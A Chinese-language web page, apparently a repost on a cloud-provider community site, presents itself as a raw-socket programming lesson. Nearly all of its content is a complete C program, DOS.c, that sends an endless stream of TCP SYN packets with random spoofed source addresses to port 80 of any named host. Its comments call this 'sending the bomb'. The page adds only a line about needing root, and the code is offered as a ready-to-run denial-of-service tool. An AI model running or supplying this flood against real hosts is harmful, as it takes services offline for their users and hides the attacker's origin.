Linux網路編程: 原始通訊端

來源:互聯網
上載者:User

原始通訊端(SOCK_RAW). 應用原始通訊端,我們可以編寫出由TCP和UDP通訊端不能夠實現的功能.

注意原始通訊端只能夠由有 root許可權的人建立.

/********************  DOS.c               *****************/#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <string.h>#include <unistd.h>#include <netdb.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <arpa/inet.h>#define DESTPORT        80       /* 要攻擊的連接埠(WEB)      */#define LOCALPORT       8888void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char **argv){int sockfd;struct sockaddr_in addr;struct hostent *host;int on=1;if(argc!=2){        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);        exit(1);}bzero(&addr,sizeof(struct sockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);if(inet_aton(argv[1],&addr.sin_addr)==0){        host=gethostbyname(argv[1]);        if(host==NULL)        {                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));                exit(1);        }        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);}/**** 使用IPPROTO_TCP建立一個TCP的原始通訊端    ****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfd<0){        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));        exit(1);}/********  設定IP資料包格式,告訴系統核心模組IP資料包由我們自己來填寫  ***/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));/****  沒有辦法,只用超級護使用者才可以使用原始通訊端    *********/setuid(getpid());/*********  發送炸彈了!!!!          ****/send_tcp(sockfd,&addr);}  /*******  發送炸彈的實現   *********/void send_tcp(int sockfd,struct sockaddr_in *addr){char buffer[100];  /**** 用來放置我們的資料包  ****/struct ip *ip;struct tcphdr *tcp;int head_len;/******* 我們的資料包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/head_len=sizeof(struct ip)+sizeof(struct tcphdr);bzero(buffer,100);/********  填充IP資料包的頭部,還記得IP的頭格式嗎?     ******/ ip=(struct ip *)buffer;ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/ip->ip_hl=sizeof(struct ip)>>2; /** IP資料包的頭部長度  **/ip->ip_tos=0;                   /** 服務類型            **/ip->ip_len=htons(head_len);     /** IP資料包的長度      **/ip->ip_id=0;                    /** 讓系統去填寫吧      **/ip->ip_off=0;                   /** 和上面一樣,省點時間 **/        ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/ ip->ip_sum=0;                   /** 校正和讓系統去做    **/ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **//*******  開始填寫TCP資料包                           *****/tcp=(struct tcphdr *)(buffer +sizeof(struct ip));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port;           /** 目的連接埠    **/tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;tcp->syn=1;                        /** 我要建立串連 **/tcp->check=0;/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^  **/while(1)  {/**  你不知道我是從那裡來的,慢慢的去等吧!      **/    ip->ip_src.s_addr=random();     /** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校正頭部吧 *//**            下面這條可有可無    */    tcp->check=check_sum((unsigned short *)tcp,                sizeof(struct tcphdr));     sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));  }}/* 下面是首部校正和的演算法,偷了別人的 */unsigned short check_sum(unsigned short *addr,int len){register int nleft=len;register int sum=0;register short *w=addr;  short answer=0;while(nleft>1){  sum+=*w++;  nleft-=2;}if(nleft==1){  *(unsigned char *)(&answer)=*(unsigned char *)w;  sum+=answer;}  sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}
相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.